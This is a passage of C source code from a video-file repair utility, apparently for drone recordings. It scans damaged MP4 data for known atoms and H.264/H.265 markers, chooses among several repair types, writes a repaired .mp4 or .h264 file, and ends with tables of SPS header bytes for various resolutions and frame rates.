} else if (fseek(inputFID, first4Bytes-8, SEEK_CUR) != 0) {
fprintf(stderr, "Bad length for initial 'ftyp' or 'isom' atom.%s\n", cantRepair);
fileStartIsOK = 0;
} else {
if (!amAtStartOfFile) fprintf(stderr, "Found 'ftyp' or 'isom' (at file position 0x%08lx)\n", ftell(inputFID) - 8); else fprintf(stderr, "Saw initial 'ftyp'or 'isom'.\n");
}
} else if (checkFor0x00000002(first4Bytes, next4Bytes)) {
/* Assume repair type 2 */
if (!amAtStartOfFile) fprintf(stderr, "Found 0x00000002 (at file position 0x%08lx)\n", ftell(inputFID) - 8);
repairType = 2;
repairType2Second4Bytes = next4Bytes;
} else if (first4Bytes == 0x00000000 || first4Bytes == 0xFFFFFFFF) {
/* Skip initial 0x00000000 or 0xFFFFFFFF data at the start of the file: */
if (amAtStartOfFile) {
fprintf(stderr, "Skipping initial junk 0x%08X bytes at the start of the file...\n", first4Bytes);
amAtStartOfFile = 0;
}
first4Bytes = next4Bytes;
if (!get4Bytes(inputFID, &next4Bytes)) {
fprintf(stderr, "File appears to contain nothing but zeros or 0xFF!%s\n", cantRepair);
fileStartIsOK = 0;
} else {
continue;
}
} else {
/* There's garbage at the beginning of the file. Skip until we find sane data: */
unsigned char c;

if (amAtStartOfFile) {
fprintf(stderr, "Didn't see an initial 'ftyp' or 'isom' atom, or 0x00000002. Looking for data that we understand...\n");
amAtStartOfFile = 0;
}
if (!get1Byte(inputFID, &c)) {
/* We reached the end of the file, without seeing any data that we understand! */
fprintf(stderr, "...Unable to find sane initial data.%s\n", cantRepair);
fileStartIsOK = 0;
} else {
/* Shift "first4Bytes" and "next4Bytes" 1-byte to the left, and keep trying: */
first4Bytes = ((first4Bytes<<8)&0xFFFFFF00) | ((next4Bytes>>24)&0x000000FF);
next4Bytes = ((next4Bytes<<8)&0xFFFFFF00) | c;
continue;
}
}

/* If we get here, we've found the initial data that we're looking for, or end-of-file: */
break;
}
if (!fileStartIsOK) break; /* An error occurred at/near the start of the file */
}

if (repairType == 1) {
/* Check for a 'moov' atom next: */
if (checkAtom(inputFID, fourcc_moov, &numBytesToSkip)) {
fprintf(stderr, "Saw 'moov' (size %d == 0x%08x).\n", 8+numBytesToSkip, 8+numBytesToSkip);
if (fseek(inputFID, numBytesToSkip, SEEK_CUR) != 0) {
fprintf(stderr, "Input file was truncated before end of 'moov'.%s\n", cantRepair);
break;
}
} else {
fprintf(stderr, "Didn't see a 'moov' atom.\n");
/* It's possible that this was a 'mdat' atom instead. Check for that next: */
}

/* Check for a 'free' or a 'wide' atom that sometimes appears before 'mdat': */
if (checkAtom(inputFID, fourcc_free, &numBytesToSkip)) {
fprintf(stderr, "Saw 'free' (size %d == 0x%08x).\n", 8+numBytesToSkip, 8+numBytesToSkip);
if (fseek(inputFID, numBytesToSkip, SEEK_CUR) != 0) {
fprintf(stderr, "Input file was truncated before end of 'free'.%s\n", cantRepair);
break;
}
} else if (checkAtom(inputFID, fourcc_wide, &numBytesToSkip)) {
fprintf(stderr, "Saw 'wide'.\n");
if (numBytesToSkip > 0) {
fprintf(stderr, "Warning: 'wide' atom size was %d (>8)\n", 8+numBytesToSkip);
if (fseek(inputFID, numBytesToSkip, SEEK_CUR) != 0) {
fprintf(stderr, "Input file was truncated before end of 'wide'.%s\n", cantRepair);
break;
}
}
}

/* Check for a 'mdat' atom next: */
if (checkAtom(inputFID, fourcc_mdat, &dummy)) {
fprintf(stderr, "Saw 'mdat'.\n");

/* Check whether the 'mdat' data begins with a 'ftyp' atom: */
if (checkAtom(inputFID, fourcc_ftyp, &numBytesToSkip)) {
/* On rare occasions, this situation is repeated: The remainder of the file consists
of 'ftyp', 'moov', 'mdat' - with the 'mdat' data beginning with 'ftyp' again.
Check for this now:
*/
long curPos;

while (1) {
unsigned nbts_moov;

curPos = ftell(inputFID); /* remember where we are now */
if (fseek(inputFID, numBytesToSkip, SEEK_CUR) != 0) break;
if (!checkAtom(inputFID, fourcc_moov, &nbts_moov)) break;
if (fseek(inputFID, nbts_moov, SEEK_CUR) != 0) break;
if (!checkAtom(inputFID, fourcc_mdat, &dummy)) break; /* can 0x0000002 ever occur? */
if (!checkAtom(inputFID, fourcc_ftyp, &numBytesToSkip)) break;
fprintf(stderr, "(Saw nested 'ftyp' within 'mdat')\n");
}
fseek(inputFID, curPos, SEEK_SET); /* restore our old position */

repairType1FtypSize = numBytesToSkip+8;
fprintf(stderr, "Saw a 'ftyp' within the 'mdat' data. We can repair this file.\n");
} else {
unsigned next4Bytes;

fprintf(stderr, "Didn't see a 'ftyp' atom inside the 'mdat' data.\n");
/* It's possible that the 'mdat' data began with 0x00000002 (i.e., a 'type 2' repair) */
repairType = 2;
/* But first, check for the four bytes 'm','i','j','d'; or 0xFFD8FFE0 (JFIF header);
indicating a 'type 3' repair: */
if (get4Bytes(inputFID, &next4Bytes)) {
if (next4Bytes == fourcc_mijd) {
fprintf(stderr, "Saw 'mijd'.\n");
repairType = 3; /* New-style MP4 file containing a JPEG preview */
} else if (next4Bytes == 0xFFD8FFE0) {
fprintf(stderr, "Saw 'JFIF' header.\n");
repairType = 3; /* New-style MP4 file containing a JPEG preview */
} else {
fseek(inputFID, -4, SEEK_CUR);
}
}
}
} else {
fprintf(stderr, "Didn't see a 'mdat' atom.\n");
/* It's possible that the remaining bytes begin with 0x00000002 (i.e., a 'type 2' repair).*/
/* Check for that next: */
repairType = 2;
}

if (repairType == 2) {
unsigned first4Bytes, next4Bytes;
int sawVideo = 0;

/* Check for known video occurring next: */
fprintf(stderr, "Looking for video data...\n");
if (get4Bytes(inputFID, &first4Bytes) && get4Bytes(inputFID, &next4Bytes)) {
while (1) {
if (checkForVideo(first4Bytes, next4Bytes)) {
sawVideo = 1;
if (first4Bytes == 0x00000002) {
fprintf(stderr, "Found 0x00000002 (at file position 0x%08lx)\n", ftell(inputFID) - 8);
repairType2Second4Bytes = next4Bytes;
} else {
fprintf(stderr, "Found apparent H.264 or H.265 SPS (length %d, at file position 0x%08lx)\n", first4Bytes, ftell(inputFID) - 8);
fseek(inputFID, -8, SEEK_CUR);
repairType = 4; /* special case */
}
break;
} else if (first4Bytes < 0x01000000 && first4Bytes > 0x000000FF &&
((next4Bytes&0xFFFF0000) == 0x65B80000 ||
(next4Bytes&0xFFFF0000) == 0x28010000 ||
(next4Bytes&0xFFFF0000) == 0x26010000)) {
/* A special case: This looks like H.264 or H.265 data for a DJI Mini 2 or Mavic Air ('type 5') video */
sawVideo = 1;
fprintf(stderr, "Found possible H.264 or H.265 video data, at file position 0x%08lx\n",
ftell(inputFID) - 8);
fseek(inputFID, -8, SEEK_CUR);
repairType = 5;
break;
} else {
unsigned char c;

if (!get1Byte(inputFID, &c)) break;/*eof*/
first4Bytes = ((first4Bytes<<8)&0xFFFFFF00) | ((next4Bytes>>24)&0x000000FF);
next4Bytes = ((next4Bytes<<8)&0xFFFFFF00) | c;
}
}
}

if (!sawVideo) {
/* OK, now we have to give up: */
fprintf(stderr, "Didn't see any obvious video data.%s\n", cantRepair);
break;
}
} else if (repairType == 3) {
unsigned char byte1 = 0;
int sawEndOfJPEGs = 0;

/* Skip over all JPEG previews (ending with 0xFFD9, and not then followed by 0xFFD8): */
fprintf(stderr, "Skipping past JPEG previews...\n");
while (1) {
unsigned char byte2;

if (!get1Byte(inputFID, &byte2)) break;/*eof*/
if (byte1 == 0xFF && byte2 == 0xD9) {
unsigned char byte3, byte4;
if (!get1Byte(inputFID, &byte3) || !get1Byte(inputFID, &byte4)) break;/*eof*/
if (!(byte3 == 0xFF && byte4 == 0xD8)) {
fseek(inputFID, -2, SEEK_CUR);
fprintf(stderr, "Found movie data (at file position 0x%08lx)\n", ftell(inputFID));
sawEndOfJPEGs = 1;
break;
} else {
byte1 = 0; /* for the next iteration */
}
} else {
byte1 = byte2; /* for the next iteration */
}
}

if (!sawEndOfJPEGs) {
/* OK, now we have to give up: */
fprintf(stderr, "Didn't see end of JPEG previews.%s\n", cantRepair);
break;
}

/* Sometimes, the movie data here begins with a 'mdat' atom header. Check for this now: */
if (checkAtom(inputFID, fourcc_mdat, &dummy)) {
fprintf(stderr, "Saw 'mdat'.\n");
}
}
}

if (repairType > 1) {
fprintf(stderr, "We can repair this file, but the result will be a '.h264' file (playable by the VLC or IINA media player), not a '.mp4' file.\n");
}

/* Now generate the output file name, and open the output file: */
{
unsigned suffixLen, outputFileNameSize;
char* dotPtr = strrchr(inputFileName, '.');
if (dotPtr == NULL) {
dotPtr = &inputFileName[strlen(inputFileName)];
}
*dotPtr = '\0';

suffixLen = repairType == 1 ? 3/*mp4*/ : 4/*h264*/;
outputFileNameSize = (dotPtr - inputFileName) + strlen(repairedFilenameStr) + 1/*dot*/ + suffixLen + 1/*trailing '\0'*/;
outputFileName = malloc(outputFileNameSize);
sprintf(outputFileName, "%s%s.%s", inputFileName, repairedFilenameStr,
repairType == 1 ? "mp4" : "h264");

outputFID = fopen(outputFileName, "wb");
if (outputFID == NULL) {
perror("Failed to open output file");
free(outputFileName);
break;
}
}

/* Begin the repair: */
if (repairType == 1) {
doRepairType1(inputFID, outputFID, repairType1FtypSize);
} else if (repairType == 2) {
doRepairType2(inputFID, outputFID, repairType2Second4Bytes);
} else if (repairType == 3) {
doRepairType3(inputFID, outputFID);
} else if (repairType == 4) {
doRepairType4(inputFID, outputFID);
} else if (repairType == 5) {
doRepairType5(inputFID, outputFID);
}

fprintf(stderr, "...done\n");
fclose(outputFID);
fprintf(stderr, "\nRepaired file is \"%s\"\n", outputFileName);
free(outputFileName);
#ifdef CODE_COUNT
for (unsigned i = 0; i < 65536; ++i) if (codeCount[i] > 0) fprintf(stderr, "0x%04x: %d\n", i, codeCount[i]);
#endif

if (repairType > 1) {
fprintf(stderr, "This file can be played by the VLC media player (available at <http://www.videolan.org/vlc/>), or by the IINA media player (for MacOS; available at <https://lhc70000.github.io/iina/>).\n");
}

/* OK */
return 0;
} while (0);

/* An error occurred: */
return 1;
}

static int get1Byte(FILE* fid, unsigned char* result) {
int fgetcResult;

fgetcResult = fgetc(fid);
if (feof(fid) || ferror(fid)) return 0;

*result = (unsigned char)fgetcResult;
return 1;
}

static int get2Bytes(FILE* fid, unsigned* result) {
unsigned char c1, c2;

if (!get1Byte(fid, &c1)) return 0;
if (!get1Byte(fid, &c2)) return 0;

*result = (c1<<8)|c2;
return 1;
}

static int get4Bytes(FILE* fid, unsigned* result) {
unsigned char c1, c2, c3, c4;

if (!get1Byte(fid, &c1)) return 0;
if (!get1Byte(fid, &c2)) return 0;
if (!get1Byte(fid, &c3)) return 0;
if (!get1Byte(fid, &c4)) return 0;

*result = (c1<<24)|(c2<<16)|(c3<<8)|c4;
return 1;
}

static int checkAtom(FILE* fid, unsigned fourccToCheck, unsigned* numRemainingBytesToSkip) {
do {
unsigned atomSize, fourcc;

if (!get4Bytes(fid, &atomSize)) break;

if (!get4Bytes(fid, &fourcc) || fourcc != fourccToCheck) break;

/* For 'mdat' atoms, ignore the size, because we don't use it: */
if (fourcc == fourcc_mdat) return 1;

if (atomSize == 1) {
fprintf(stderr, "Saw an extended (64-bit) atom size. We currently don't handle this!\n");
exit(1);
}

/* Check the atom size. It should be >= 8. */
if (atomSize < 8) break;
*numRemainingBytesToSkip = atomSize - 8;

return 1;
} while (0);

/* An error occurred. Rewind over the bytes that we read (assuming we read all 8): */
if (fseek(fid, -8, SEEK_CUR) != 0) {
fprintf(stderr, "Failed to rewind 8 bytes.%s\n", cantRepair);
}
return 0;
}

static void doRepairType1(FILE* inputFID, FILE* outputFID, unsigned ftypSize) {
fprintf(stderr, "%s", startingToRepair);

/* Begin the repair by writing the header for the initial 'ftype' atom: */
fputc(ftypSize>>24, outputFID);
fputc(ftypSize>>16, outputFID);
fputc(ftypSize>>8, outputFID);
fputc(ftypSize, outputFID);

fputc('f', outputFID); fputc('t', outputFID); fputc('y', outputFID); fputc('p', outputFID);

/* Then complete the repair by copying from the input file to the output file: */
{
unsigned char c;

while (get1Byte(inputFID, &c)) fputc(c, outputFID);
}
}

#define wr(c) fputc((c), outputFID)

static void putStartCode(FILE* outputFID) {
wr(0x00); wr(0x00); wr(0x00); wr(0x01);
}

static unsigned char SPS_2160p30[] = { 0x27, 0x64, 0x00, 0x33, 0xac, 0x34, 0xc8, 0x03, 0xc0, 0x04, 0x3e, 0xc0, 0x5a, 0x80, 0x80, 0x80, 0xa0, 0x00, 0x00, 0x7d, 0x20, 0x00, 0x1d, 0x4c, 0x1d, 0x0c, 0x00, 0x07, 0x27, 0x08, 0x00, 0x01, 0xc9, 0xc3, 0x97, 0x79, 0x71, 0xa1, 0x80, 0x00, 0xe4, 0xe1, 0x00, 0x00, 0x39, 0x38, 0x72, 0xef, 0x2e, 0x1f, 0x08, 0x84, 0x53, 0x80, 0xfe };
/* The following was used in an earlier version of the software, but does not appear to be correct:
static unsigned char SPS_2160p25[] = { 0x27, 0x64, 0x00, 0x33, 0xac, 0x34, 0xc8, 0x01, 0x00, 0x01, 0x0f, 0xb0, 0x16, 0xa0, 0x20, 0x20, 0x28, 0x00, 0x00, 0x1f, 0x40, 0x00, 0x06, 0x1a, 0x87, 0x43, 0x00, 0x01, 0xc9, 0xc2, 0x00, 0x00, 0x72, 0x70, 0xe5, 0xde, 0x5c, 0x68, 0x60, 0x00, 0x39, 0x38, 0x40, 0x00, 0x0e, 0x4e, 0x1c, 0xbb, 0xcb, 0x87, 0xc2, 0x21, 0x14, 0xe0, 0xfe };
*/
static unsigned char SPS_2160x4096p25[] = { 0x27, 0x64, 0x00, 0x33, 0xac, 0x34, 0xc8, 0x01, 0x00, 0x01, 0x0f, 0xb0, 0x16, 0xa0, 0x20, 0x20, 0x28, 0x00, 0x00, 0x1f, 0x40, 0x00, 0x06, 0x1a, 0x87, 0x43, 0x00, 0x01, 0xc9, 0xc2, 0x00, 0x00, 0x72, 0x70, 0xe5, 0xde, 0x5c, 0x68, 0x60, 0x00, 0x39, 0x38, 0x40, 0x00, 0x0e, 0x4e, 0x1c, 0xbb, 0xcb, 0x87, 0xc2, 0x21, 0x14, 0xe0, 0xfe };
static unsigned char SPS_2160x3840p25[] = { 0x27, 0x64, 0x00, 0x33, 0xac, 0x34, 0xc8, 0x03, 0xc0, 0x04, 0x3e, 0xc0, 0x5a, 0x80, 0x80, 0x80, 0xa0, 0x00, 0x00, 0x7d, 0x00, 0x00, 0x18, 0x6a, 0x1d, 0x0c, 0x00, 0x07, 0x27, 0x08, 0x00, 0x01, 0xc9, 0xc3, 0x97, 0x79, 0x71, 0xa1, 0x80, 0x00, 0xe4, 0xe1, 0x00, 0x00, 0x39, 0x38, 0x72, 0xef, 0x2e, 0x1f, 0x08, 0x84, 0x53, 0x80, 0xfe };
static unsigned char SPS_2160x4096p24[] = { 0x27, 0x64, 0x00, 0x33, 0xac, 0x34, 0xc8, 0x01, 0x00, 0x01, 0x0f, 0xb0, 0x16, 0xa0, 0x20, 0x20, 0x28, 0x00, 0x00, 0x1f, 0x48, 0x00, 0x05, 0xdc, 0x07, 0x43, 0x00, 0x01, 0xc9, 0xc2, 0x00, 0x00, 0x72, 0x70, 0xe5, 0xde, 0x5c, 0x68, 0x60, 0x00, 0x39, 0x38, 0x40, 0x00, 0x0e, 0x4e, 0x1c, 0xbb, 0xfe };
static unsigned char SPS_2160x3840p24[] = { 0x27, 0x64, 0x00, 0x33, 0xac, 0x34, 0xc8, 0x03, 0xc0, 0x04, 0x3e, 0xc0, 0x5a, 0x80, 0x80, 0x80, 0xa0, 0x00, 0x00, 0x7d, 0x20, 0x00, 0x17, 0x70, 0x1d, 0x0c, 0x00, 0x07, 0x27, 0x08, 0x00, 0x01, 0xc9, 0xc3, 0x97, 0x79, 0x71, 0xa1, 0x80, 0x00, 0xe4, 0xe1, 0x00, 0x00, 0x39, 0x38, 0x72, 0xef, 0x2e, 0x1f, 0x08, 0x84, 0x53, 0x80, 0xfe };
static unsigned char SPS_1530p30[] = { 0x27, 0x64, 0x00, 0x29, 0xac, 0x34, 0xc8, 0x02, 0xa8, 0x0c, 0x1b, 0x01, 0x6a, 0x02, 0x02, 0x02, 0x80, 0x00, 0x01, 0xf4, 0x80, 0x00, 0x75, 0x30, 0x74, 0x30, 0x00, 0x15, 0x75, 0x20, 0x00, 0x05, 0x5d, 0x4a, 0x5d, 0xe5, 0xc6, 0x86, 0x00, 0x02, 0xae, 0xa4, 0x00, 0x00, 0xab, 0xa9, 0x4b, 0xbc, 0xb8, 0x7c, 0x22, 0x11, 0x4e, 0x00, 0x00, 0x00, 0xfe };
static unsigned char SPS_1530p25[] = { 0x27, 0x64, 0x00, 0x32, 0xac, 0x34, 0xc8, 0x02, 0xa8, 0x0c, 0x1b, 0x01, 0x6a, 0x02, 0x02, 0x02, 0x80, 0x00, 0x01, 0xf4, 0x00, 0x00, 0x61, 0xa8, 0x74, 0x30, 0x00, 0x15, 0x75, 0x20, 0x00, 0x05, 0x5d, 0x4a, 0x5d, 0xe5, 0xc6, 0x86, 0x00, 0x02, 0xae, 0xa4, 0x00, 0x00, 0xab, 0xa9, 0x4b, 0xbc, 0xb8, 0x7c, 0x22, 0x11, 0x4e, 0xfe };
static unsigned char SPS_1530p24[] = { 0x27, 0x64, 0x00, 0x32, 0xac, 0x34, 0xc8, 0x02, 0xa8, 0x0c, 0x1b, 0x01, 0x6a, 0x02, 0x02, 0x02, 0x80, 0x00, 0x01, 0xf4, 0x80, 0x00, 0x5d, 0xc0, 0x74, 0x30, 0x00, 0x15, 0x75, 0x20, 0x00, 0x05, 0x5d, 0x4a, 0x5d, 0xe5, 0xc6, 0x86, 0x00, 0x02, 0xae, 0xa4, 0x00, 0x00, 0xab, 0xa9, 0x4b, 0xbc, 0xb8, 0x7c, 0x22, 0x11, 0x4e, 0xfe };
static unsigned char SPS_1520p60[] = { 0x27, 0x64, 0x00, 0x2a, 0xac, 0x34, 0xc8, 0x02, 0xa4, 0x0b, 0xfb, 0x01, 0x6e, 0x02, 0x02, 0x02, 0x80, 0x00, 0x01, 0xf4, 0x80, 0x00, 0xea, 0x60, 0x74, 0x30, 0x00, 0x15, 0x75, 0x20, 0x00, 0x05, 0x5d, 0x4a, 0x5d, 0xe5, 0xc6, 0x86, 0x00, 0x02, 0xae, 0xa4, 0x00, 0x00, 0xab, 0xa9, 0x4b, 0xbc, 0xb8, 0x7c, 0x22, 0x11, 0x4e, 0x00, 0x00, 0x00, 0xfe };
static unsigned char SPS_1520p30[] = { 0x27, 0x64, 0x00, 0x29, 0xac, 0x34, 0xc8, 0x02, 0xa4, 0x0b, 0xfb, 0x01, 0x6a, 0x02, 0x02, 0x02, 0x80, 0x00, 0x01, 0xf4, 0x80, 0x00, 0x75, 0x30, 0x74, 0x30, 0x00, 0x13, 0x12, 0xc0, 0x00, 0x04, 0xc4, 0xb4, 0x5d, 0xe5, 0xc6, 0x86, 0x00, 0x02, 0x62, 0x58, 0x00, 0x00, 0x98, 0x96, 0x8b, 0xbc, 0xb8, 0x7c, 0x22, 0x11, 0x4e, 0x00, 0x00, 0x00, 0xfe };
static unsigned char SPS_1520p25[] = { 0x27, 0x64, 0x00, 0x29, 0xac, 0x34, 0xc8, 0x02, 0xa4, 0x0b, 0xfb, 0x01, 0x6a, 0x02, 0x02, 0x02, 0x80, 0x00, 0x00, 0x03, 0x00, 0x80, 0x00, 0x00, 0x19, 0x74, 0x30, 0x00, 0x13, 0x12, 0xc0, 0x00, 0x04, 0xc4, 0xb4, 0x5d, 0xe5, 0xc6, 0x86, 0x00, 0x02, 0x62, 0x58, 0x00, 0x00, 0x98, 0x96, 0x8b, 0xbc, 0xb8, 0x7c, 0x22, 0x11, 0x4e, 0xfe };
static unsigned char SPS_1520p24[] = { 0x27, 0x64, 0x00, 0x29, 0xac, 0x34, 0xc8, 0x02, 0xa4, 0x0b, 0xfb, 0x01, 0x6a, 0x02, 0x02, 0x02, 0x80, 0x00, 0x01, 0xf4, 0x80, 0x00, 0x5d, 0xc0, 0x74, 0x30, 0x00, 0x15, 0x75, 0x20, 0x00, 0x05, 0x5d, 0x4a, 0x5d, 0xe5, 0xc6, 0x86, 0x00, 0x02, 0xae, 0xa4, 0x00, 0x00, 0xab, 0xa9, 0x4b, 0xbc, 0xb8, 0x7c, 0x22, 0x11, 0x4e, 0x00, 0x00, 0x00, 0xfe };
static unsigned char SPS_1080p60[] = { 0x27, 0x64, 0x00, 0x2a, 0xac, 0x34, 0xc8, 0x07, 0x80, 0x22, 0x7e, 0x5c, 0x05, 0xa8, 0x08, 0x08, 0x0a, 0x00, 0x00, 0x07, 0xd2, 0x00, 0x03, 0xa9, 0x81, 0xd0, 0xc0, 0x00, 0x4c, 0x4b, 0x00, 0x00, 0x13, 0x12, 0xd1, 0x77, 0x97, 0x1a, 0x18, 0x00, 0x09, 0x89, 0x60, 0x00, 0x02, 0x62, 0x5a, 0x2e, 0xf2, 0xe1, 0xf0, 0x88, 0x45, 0x16, 0xfe };
static unsigned char SPS_1080i60[] = { 0x27, 0x4d, 0x00, 0x2a, 0x9a, 0x66, 0x03, 0xc0, 0x22, 0x3e, 0xf0, 0x16, 0xc8, 0x00, 0x00, 0x1f, 0x48, 0x00, 0x07, 0x53, 0x07, 0x43, 0x00, 0x02, 0x36, 0x78, 0x00, 0x02, 0x36, 0x78, 0x5d, 0xe5, 0xc6, 0x86, 0x00, 0x04, 0x6c, 0xf0, 0x00, 0x04, 0x6c, 0xf0, 0xbb, 0xcb, 0x87, 0xc2, 0x21, 0x14, 0x58, 0xfe };
static unsigned char SPS_1080p50[] = { 0x27, 0x64, 0x00, 0x29, 0xac, 0x34, 0xc8, 0x07, 0x80, 0x22, 0x7e, 0x5c, 0x05, 0xa8, 0x08, 0x08, 0x0a, 0x00, 0x00, 0x07, 0xd0, 0x00, 0x03, 0x0d, 0x41, 0xd0, 0xc0, 0x00, 0x4c, 0x4b, 0x00, 0x00, 0x13, 0x12, 0xd1, 0x77, 0x97, 0x1a, 0x18, 0x00, 0x09, 0x89, 0x60, 0x00, 0x02, 0x62, 0x5a, 0x2e, 0xf2, 0xe1, 0xf0, 0x88, 0x45, 0x16, 0xfe };
static unsigned char SPS_1080p48[] = { 0x27, 0x64, 0x00, 0x2a, 0xac, 0x34, 0xc8, 0x07, 0x80, 0x22, 0x7e, 0x5c, 0x05, 0xa8, 0x08, 0x08, 0x0a, 0x00, 0x00, 0x07, 0xd2, 0x00, 0x02, 0xee, 0x01, 0xd0, 0xc0, 0x00, 0x4c, 0x4b, 0x00, 0x00, 0x13, 0x12, 0xd1, 0x77, 0x97, 0x1a, 0x18, 0x00, 0x09, 0x89, 0x60, 0x00, 0x02, 0x62, 0x5a, 0x2e, 0xf2, 0xe1, 0xf0, 0x88, 0x45, 0x16, 0xfe };
/* Old format; assume no longer used:
static unsigned char SPS_1080p30_default[] = { 0x27, 0x4d, 0x00, 0x28, 0x9a, 0x66, 0x03, 0xc0, 0x11, 0x3f, 0x2e, 0x02, 0xd9, 0x00, 0x00, 0x03, 0x03, 0xe9, 0x00, 0x00, 0xea, 0x60, 0xe8, 0x60, 0x00, 0xe2, 0x98, 0x00, 0x03, 0x8a, 0x60, 0xbb, 0xcb, 0x8d, 0x0c, 0x00, 0x1c, 0x53, 0x00, 0x00, 0x71, 0x4c, 0x17, 0x79, 0x70, 0xf8, 0x44, 0x22, 0x8b, 0xfe };
*/
static unsigned char SPS_1080p30_default[] = { 0x67, 0x4d, 0x00, 0x1f, 0x93, 0x28, 0x08, 0x00, 0x93, 0x7f, 0xe0, 0x00, 0x20, 0x00, 0x28, 0x10, 0x00, 0x00, 0x03, 0x00, 0x10, 0x00, 0x00, 0x03, 0x03, 0xc8, 0xda, 0x08, 0x84, 0x65, 0x80, 0xfe };
static unsigned char SPS_1080p30_advanced[] = { 0x27, 0x64, 0x00, 0x29, 0xac, 0x34, 0xc8, 0x07, 0x80, 0x22, 0x7e, 0x5c, 0x05, 0xa8, 0x08, 0x08, 0x0a, 0x00, 0x00, 0x07, 0xd2, 0x00, 0x01, 0xd4, 0xc1, 0xd0, 0xc0, 0x00, 0x4c, 0x4b, 0x00, 0x00, 0x13, 0x12, 0xd1, 0x77, 0x97, 0x1a, 0x18, 0x00, 0x09, 0x89, 0x60, 0x00, 0x02, 0x62, 0x5a, 0x2e, 0xf2, 0xe1, 0xf0, 0x88, 0x45, 0x16, 0xfe };
static unsigned char SPS_1080p25[] = { 0x27, 0x4d, 0x00, 0x28, 0x9a, 0x66, 0x03, 0xc0, 0x11, 0x3f, 0x2e, 0x02, 0xd9, 0x00, 0x00, 0x03, 0x03, 0xe8, 0x00, 0x00, 0xc3, 0x50, 0xe8, 0x60, 0x00, 0xdc, 0xf0, 0x00, 0x03, 0x73, 0xb8, 0xbb, 0xcb, 0x8d, 0x0c, 0x00, 0x1b, 0x9e, 0x00, 0x00, 0x6e, 0x77, 0x17, 0x79, 0x70, 0xf8, 0x44, 0x22, 0x8b, 0xfe };
static unsigned char SPS_1080p24[] = { 0x27, 0x64, 0x00, 0x29, 0xac, 0x34, 0xc8, 0x07, 0x80, 0x22, 0x7e, 0x5c, 0x05, 0xa8, 0x08, 0x08, 0x0a, 0x00, 0x00, 0x07, 0xd2, 0x00, 0x01, 0x77, 0x01, 0xd0, 0xc0, 0x00, 0xbe, 0xbc, 0x00, 0x00, 0xbe, 0xbc, 0x17, 0x79, 0x71, 0xa1, 0x80, 0x01, 0x7d, 0x78, 0x00, 0x01, 0x7d, 0x78, 0x2e, 0xf2, 0xe1, 0xf0, 0x88, 0x45, 0x16, 0x00, 0x00, 0x00, 0xfe };
static unsigned char SPS_720p60_default[] = { 0x27, 0x4d, 0x00, 0x20, 0x9a, 0x66, 0x02, 0x80, 0x2d, 0xd8, 0x0b, 0x64, 0x00, 0x00, 0x0f, 0xa4, 0x00, 0x07, 0x53, 0x03, 0xa1, 0x80, 0x03, 0x8a, 0x60, 0x00, 0x0e, 0x29, 0x82, 0xef, 0x2e, 0x34, 0x30, 0x00, 0x71, 0x4c, 0x00, 0x01, 0xc5, 0x30, 0x5d, 0xe5, 0xc3, 0xe1, 0x10, 0x8a, 0x34, 0xfe };
static unsigned char SPS_720p60_advanced[] = { 0x27, 0x64, 0x00, 0x28, 0xac, 0x34, 0xc8, 0x05, 0x00, 0x5b, 0xb0, 0x16, 0xa0, 0x20, 0x20, 0x28, 0x00, 0x00, 0x1f, 0x48, 0x00, 0x0e, 0xa6, 0x07, 0x43, 0x00, 0x02, 0x62, 0x58, 0x00, 0x02, 0x62, 0x5a, 0x5d, 0xe5, 0xc6, 0x86, 0x00, 0x04, 0xc4, 0xb0, 0x00, 0x04, 0xc4, 0xb4, 0xbb, 0xcb, 0x87, 0xc2, 0x21, 0x14, 0x78, 0xfe };
static unsigned char SPS_720p50[] = { 0x27, 0x64, 0x00, 0x29, 0xac, 0x34, 0xc8, 0x05, 0x00, 0x5b, 0xb0, 0x16, 0xa0, 0x20, 0x20, 0x28, 0x00, 0x00, 0x1f, 0x40, 0x00, 0x0c, 0x35, 0x07, 0x43, 0x00, 0x07, 0xa1, 0x20, 0x00, 0x1e, 0x84, 0x85, 0xde, 0x5c, 0x68, 0x60, 0x00, 0xf4, 0x24, 0x00, 0x03, 0xd0, 0x90, 0xbb, 0xcb, 0x87, 0xc2, 0x21, 0x14, 0x78, 0xfe };
static unsigned char SPS_720p48[] = { 0x27, 0x64, 0x00, 0x28, 0xac, 0x34, 0xc8, 0x05, 0x00, 0x5b, 0xb0, 0x16, 0xa0, 0x20, 0x20, 0x28, 0x00, 0x00, 0x1f, 0x48, 0x00, 0x0b, 0xb8, 0x07, 0x43, 0x00, 0x07, 0xa1, 0x20, 0x00, 0x1e, 0x84, 0x85, 0xde, 0x5c, 0x68, 0x60, 0x00, 0xf4, 0x24, 0x00, 0x03, 0xd0, 0x90, 0xbb, 0xcb, 0x87, 0xc2, 0x21, 0x14, 0x78, 0x00, 0xfe };
static unsigned char SPS_720p30[] = { 0x27, 0x4d, 0x00, 0x1f, 0x9a, 0x66, 0x02, 0x80, 0x2d, 0xd8, 0x0b, 0x64, 0x00, 0x00, 0x0f, 0xa4, 0x00, 0x03, 0xa9, 0x83, 0xa1, 0x80, 0x02, 0x5c, 0x40, 0x00, 0x09, 0x71, 0x02, 0xef, 0x2e, 0x34, 0x30, 0x00, 0x4b, 0x88, 0x00, 0x01, 0x2e, 0x20, 0x5d, 0xe5, 0xc3, 0xe1, 0x10, 0x8a, 0x34, 0xfe };
static unsigned char SPS_720p25[] = { 0x27, 0x64, 0x00, 0x28, 0xac, 0x34, 0xc8, 0x05, 0x00, 0x5b, 0xb0, 0x16, 0xa0, 0x20, 0x20, 0x28, 0x00, 0x00, 0x1f, 0x40, 0x00, 0x06, 0x1a, 0x87, 0x43, 0x00, 0x0f, 0xd4, 0x80, 0x00, 0xfd, 0x4b, 0x5d, 0xe5, 0xc6, 0x86, 0x00, 0x1f, 0xa9, 0x00, 0x01, 0xfa, 0x96, 0xbb, 0xcb, 0x87, 0xc2, 0x21, 0x14, 0x78, 0xfe };
static unsigned char SPS_720p24[] = { 0x27, 0x64, 0x00, 0x29, 0xac, 0x34, 0xc8, 0x05, 0x00, 0x5b, 0xb0, 0x16, 0xa0, 0x20, 0x20, 0x28, 0x00, 0x00, 0x1f, 0x48, 0x00, 0x05, 0xdc, 0x07, 0x43, 0x00, 0x0f, 0xd4, 0x80, 0x00, 0xfd, 0x4b, 0x5d, 0xe5, 0xc6, 0x86, 0x00, 0x1f, 0xa9, 0x00, 0x01, 0xfa, 0x96, 0xbb, 0xcb, 0x87, 0xc2, 0x21, 0x14, 0x78, 0xfe };
